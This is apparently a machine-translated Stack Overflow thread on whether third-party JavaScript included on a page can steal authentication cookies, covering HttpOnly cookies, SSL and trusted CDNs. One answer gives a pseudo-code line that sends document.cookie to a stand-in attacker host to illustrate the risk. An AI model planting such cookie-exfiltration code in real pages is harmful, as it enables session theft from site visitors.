2011-03-15 78 views
14

含义如果我有一个网站,我链接到一个外部的.js文件,说jquery或一些小部件服务,他们可以很容易地通过身份验证cookie拉,然后登录为我正确?链接到外部.js文件时,这不是一个安全风险吗?

如果我在SSL下,该怎么办?

+1

如果您使用的是SSL,则只能链接到SSL上的外部JS,否则访问者可能会收到警告。 – 2011-03-15 14:35:47

+0

如果这是真的,每个网站都会有严重的危险 – 2011-03-15 14:36:08

+4

@Josh:确实如此,除非Cookie是纯HTTP。 – SLaks 2011-03-15 14:36:38

回答

0

不行,因为你的站点的cookie将只发送到您的域。

例如,当您的浏览器看到yoursite.com将发送身份验证cookie为yoursite.com。如果它也有做的jQuery不同的请求(针对.js文件的脚本),它不会派人yoursite.com饼干(但发送jQuery的饼干 - 假设存在的话)。

记住每个资源是HTTP下的一个单独请求。

+2

下次仔细阅读他的问题。他特别谈到关于第三方服务器上的JS,答案是**“是的,这非常不安全”**。 – Christian 2011-03-15 14:49:15

21

如果包含Javascript或JSONP代码从另一个域,该代码具有完整的客户端功率,并且可以为所欲为。
它可以发送AJAX请求自动让你的用户做的事情,它可以偷取document.cookie

如果您的验证cookie是HTTP-而已,它不能去偷去抢,但它仍然可以使用AJAX模拟用户。

决不包括来自你不信任域JS文件。

如果您的页面使用SSL,则所有的Javascript文件也必须使用SSL,否则攻击者可以修改未加密的Javascript来执行任何他想做的事情。
因此,如果SSL页面使用非SSL资源,浏览器将显示安全警告。

请注意,JSONP也不例外。
任何JSONP响应都可以完全访问您的DOM。
如果担心安全问题,请勿使用不受信任的JSONP API。

+0

您认为auth cookie是仅限http的意味着什么?反对?困惑的感谢! – Blankman 2011-03-15 14:43:04

+0

@Blank:http://www.owasp.org/index.php/HttpOnly – SLaks 2011-03-15 14:44:27

+0

这是**正确/最佳答案**。 – Christian 2011-03-15 14:51:46

-7

Cookie是特定于域的,由相同的来源策略保护。

+1

@AbiusX:你的回答被拒绝了,因为它给人一种错误的印象。严格来说,这是正确的,阅读最高票数的答案,看看问题出在哪里。从第三方站点加载和执行任意JavaScript可能是一个巨大的安全风险。 – 2011-03-15 16:11:27

+0

如果您再次阅读,您可以看到问题是“他们可以窃取我的身份验证Cookie并以我正确的身份登录”,并且完全不涉及第三方脚本注入。 :) – AbiusX 2011-03-15 17:38:12

+1

@AbiusX:约阿希姆没有说你的答案是错的,甚至不包括这个问题。 – Brian 2011-03-15 19:50:24

2

这取决于你是什么意思的“拉”。正如其他人在这里所说的,cookie只被发送到它的起源地。然而,第三方(含恶意)的文件,仍然可以通过执行像

// pseudo-code 
cookie_send("http://badguy.tld/?"+document.cookies) 

因此,只从信任的来源包括脚本(谷歌,Facebook等),一些JavaScript代码发送你的cookies回到自己的服务器

+0

代替伪代码:'document.write('');' – Christian 2011-03-15 14:51:16

+0

是的,但是这个答案可能非常混乱。页面中的所有javascript都不能对任何站点执行ajax调用,而不是脚本标记的src与页面的起源不同。要将cookie发送到攻击者的域名,您必须执行类似Christian显示的操作,方法是在文档中添加一个img标记,并在其src的URL中使用编码的cookie,使用JSONP或iframe将数据发送回除页面域以外的域。我认为很多开发者会混淆脚本src的页面起源和url。 – chubbsondubs 2012-10-29 21:14:29

5

我只能同意SLaks和Haochi(+1和全部)。

这是极不安全,你应该永远不会做即使你信任关系的域。不要相信那些告诉你事实并非如此的答案,因为他们错了。

这就是为什么现在的链接,谷歌的CDN托管在Developer's Guide to Google Libraries API JavaScript库的字面所有是安全的HTTPS连接,即使加密所有的流量意味着即使谷歌的巨大的开销。

他们过去建议仅为使用HTTPS的网站使用HTTPS,现在在示例中根本没有HTTP链接。

问题是你可以信任谷歌和他们的CDN,但你永远不能相信一些可怜的schmuck的咖啡馆中的本地dns和路由器,你的访问者可能会连接到你的网站,而Google的CDN是明显的目标原因。

+0

啊,伟大的一点! – Blankman 2011-03-15 15:53:37

+0

你为什么要信任Google和他们的CDN?很明显,他们可以跟踪您网页上的每个访问者,收集所有网站的所有数据,这些数据不会将这些图书馆自行托管到您的独特个人资料中,并将其出售给未知第三方以获取未知奖励。为什么他们将图书馆作为“免费”来托管? *提示* – Etan 2016-04-04 18:49:50

0

我不确定HttpOnly在所有浏览器中是否完全支持,所以我不会相信它可以防止攻击本身。

如果您担心第三方攻击者(即不是提供JS文件的网站)抓取cookie,请务必使用SSL和安全Cookie。

如果您的页面没有在SSL上运行,那么使用HttpOnly cookie实际上并不能防止中间人攻击,因为中间的攻击者可以拦截Cookie,无需假装成为您的域名。

如果您不信任外部.js文件的主机,请不要使用外部.js文件。一个外部的js文件可以重写整个页面的DOM,要求将一个CC提交给任何人,并让它看起来(对于普通用户)与你自己的页面相同,所以如果你有恶意.js文件。如果您不确定.js主机是否值得信赖,请在本地托管它的副本(并检查文件是否存在安全漏洞),否则根本不要使用它。通常我更喜欢后者。

在JQuery的特定情况下,如果找不到您喜欢的副本,请使用Google CDN上的副本。

+0

不只是普通用户。除非您使用网络嗅探器观看脚本发送被盗数据,否则一个好的脚本可能会欺骗_任何人。 – SLaks 2011-03-15 21:50:20